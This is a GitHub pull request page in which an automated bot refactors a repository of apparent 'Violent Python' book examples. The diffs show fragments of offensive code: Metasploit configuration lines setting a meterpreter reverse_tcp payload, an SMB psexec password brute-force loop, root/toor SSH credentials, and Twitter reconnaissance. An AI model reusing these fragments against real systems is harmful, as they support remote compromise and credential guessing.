Skip to content

Sourcery Starbot ⭐ refactored laura1206/Violent-Python-Examples#1

Open
SourceryAI wants to merge 1 commit into
laura1206:masterfrom
SourceryAI:master
Open

Sourcery Starbot ⭐ refactored laura1206/Violent-Python-Examples#1
SourceryAI wants to merge 1 commit into
laura1206:masterfrom
SourceryAI:master

Conversation

@SourceryAI
Copy link
Copy Markdown

Thanks for starring sourcery-ai/sourcery ✨ 🌟 ✨

Here's your pull request refactoring your most popular Python repo.

If you want Sourcery to refactor all your Python repos and incoming pull requests install our bot.

Review changes via command line

To manually merge these changes, make sure you're on the master branch, then run:

git fetch https://github.com/sourcery-ai-bot/Violent-Python-Examples master
git merge --ff-only FETCH_HEAD
git reset HEAD^

s.connect((ip, port))
banner = s.recv(1024)
return banner
return s.recv(1024)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function retBanner refactored with the following changes:

Comment thread Chapter-2/3-sshCommand.py
user = 'root'
password = 'toor'

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found the following improvement in Function main:

Comment thread Chapter-2/5-conficker.py
Comment on lines -26 to +27
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write(f'set LPORT {str(lport)}' + '\n')
configFile.write(f'set LHOST {lhost}' + '\n')
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function setupHandler refactored with the following changes:

Comment thread Chapter-2/5-conficker.py
Comment on lines -34 to +38
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write(f'set RHOST {str(tgtHost)}' + '\n')
configFile.write('set payload '+\
'windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write(f'set LPORT {str(lport)}' + '\n')
configFile.write(f'set LHOST {lhost}' + '\n')
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function confickerExploit refactored with the following changes:

Comment thread Chapter-2/5-conficker.py
Comment on lines -45 to +54
for password in pF.readlines():
for password in pF:
password = password.strip('\n').strip('\r')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser ' + str(username) + '\n')
configFile.write('set SMBPass ' + str(password) + '\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write(f'set SMBUser {username}' + '\n')
configFile.write(f'set SMBPass {str(password)}' + '\n')
configFile.write(f'set RHOST {str(tgtHost)}' + '\n')
configFile.write('set payload '+\
'windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write(f'set LPORT {str(lport)}' + '\n')
configFile.write(f'set LHOST {lhost}' + '\n')
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function smbBrute refactored with the following changes:

Comment thread Chapter-5/7-dup.py
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
return nPkt
return RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupRadio refactored with the following changes:

Comment thread Chapter-5/7-dup.py
Comment on lines -22 to +34
SC=dPkt.SC
SC=dPkt.SC
addr4=dPkt.addr4
nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)
return nPkt
return Dot11(
subtype=subtype,
type=Type,
proto=proto,
FCfield=FCfield,
ID=ID,
addr1=addr1,
addr2=addr2,
addr3=addr3,
SC=SC,
addr4=addr4,
)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupDot11 refactored with the following changes:

Comment thread Chapter-5/7-dup.py
Comment on lines -31 to +40
nPkt=SNAP(OUI=oui,code=code)
return nPkt
return SNAP(OUI=oui,code=code)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupSNAP refactored with the following changes:

Comment thread Chapter-5/7-dup.py
Comment on lines -39 to +47
nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
return nPkt
return LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupLLC refactored with the following changes:

Comment thread Chapter-5/7-dup.py
Comment on lines -46 to +70
ID=iPkt.id
ID=iPkt.id
flags=iPkt.flags
ttl=iPkt.ttl
proto=iPkt.proto
src=iPkt.src
dst=iPkt.dst
options=iPkt.options
nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)
return nPkt
return IP(
version=version,
id=ID,
tos=tos,
flags=flags,
ttl=ttl,
proto=proto,
src=src,
dst=dst,
options=options,
)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupIP refactored with the following changes:

Comment thread Chapter-5/7-dup.py
Comment on lines -60 to +76
nPkt=UDP(sport=sport,dport=dport)
return nPkt
return UDP(sport=sport,dport=dport)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupUDP refactored with the following changes:

Comment thread Chapter-5/dup.py
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
return nPkt
return RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupRadio refactored with the following changes:

Comment thread Chapter-5/dup.py
Comment on lines -22 to +34
SC=dPkt.SC
SC=dPkt.SC
addr4=dPkt.addr4
nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)
return nPkt
return Dot11(
subtype=subtype,
type=Type,
proto=proto,
FCfield=FCfield,
ID=ID,
addr1=addr1,
addr2=addr2,
addr3=addr3,
SC=SC,
addr4=addr4,
)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupDot11 refactored with the following changes:

Comment thread Chapter-5/dup.py
Comment on lines -31 to +40
nPkt=SNAP(OUI=oui,code=code)
return nPkt
return SNAP(OUI=oui,code=code)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupSNAP refactored with the following changes:

Comment thread Chapter-5/dup.py
Comment on lines -39 to +47
nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
return nPkt
return LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function dupLLC refactored with the following changes:

def __repr__(self):
return self.first_name + ' ' +\
self.last_name + ' has job ' + self.job
return f'{self.first_name} {self.last_name} has job {self.job}'
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function reconPerson.__repr__ refactored with the following changes:

Comment on lines -30 to +37
response = browser.open(\
'http://search.twitter.com/search.json?q='+ query)
response = browser.open(f'http://search.twitter.com/search.json?q={query}')
json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}
new_result['from_user'] = result['from_user_name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
new_result = {
'from_user': result['from_user_name'],
'geo': result['geo'],
'tweet': result['text'],
}

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function reconPerson.query_twitter refactored with the following changes:

Comment thread Chapter-6/twitterClass.py
Comment on lines -17 to +34
query = urllib.quote_plus('from:' + self.handle+\
' since:2009-01-01 include:retweets'
)
query = urllib.quote_plus(
f'from:{self.handle} since:2009-01-01 include:retweets'
)

tweets = []
browser = anonBrowser()
browser.anonymize()
response = browser.open('http://search.twitter.com/'+\
'search.json?q=' + query)
'search.json?q=' + query)

json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}
new_result['from_user'] = result['from_user_name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
new_result = {
'from_user': result['from_user_name'],
'geo': result['geo'],
'tweet': result['text'],
}

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function reconPerson.get_tweets refactored with the following changes:

Comment thread Chapter-6/twitterClass.py
Comment on lines -36 to +39
interests = {}
interests['links'] = []
interests['users'] = []
interests['hashtags'] = []

interests = {'links': [], 'users': [], 'hashtags': []}
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function reconPerson.find_interests refactored with the following changes:

Comment thread Chapter-6/twitterClass.py
Comment on lines -72 to +71
for line in open(cityFile).readlines():
for line in open(cityFile):
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function reconPerson.twitter_locate refactored with the following changes:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant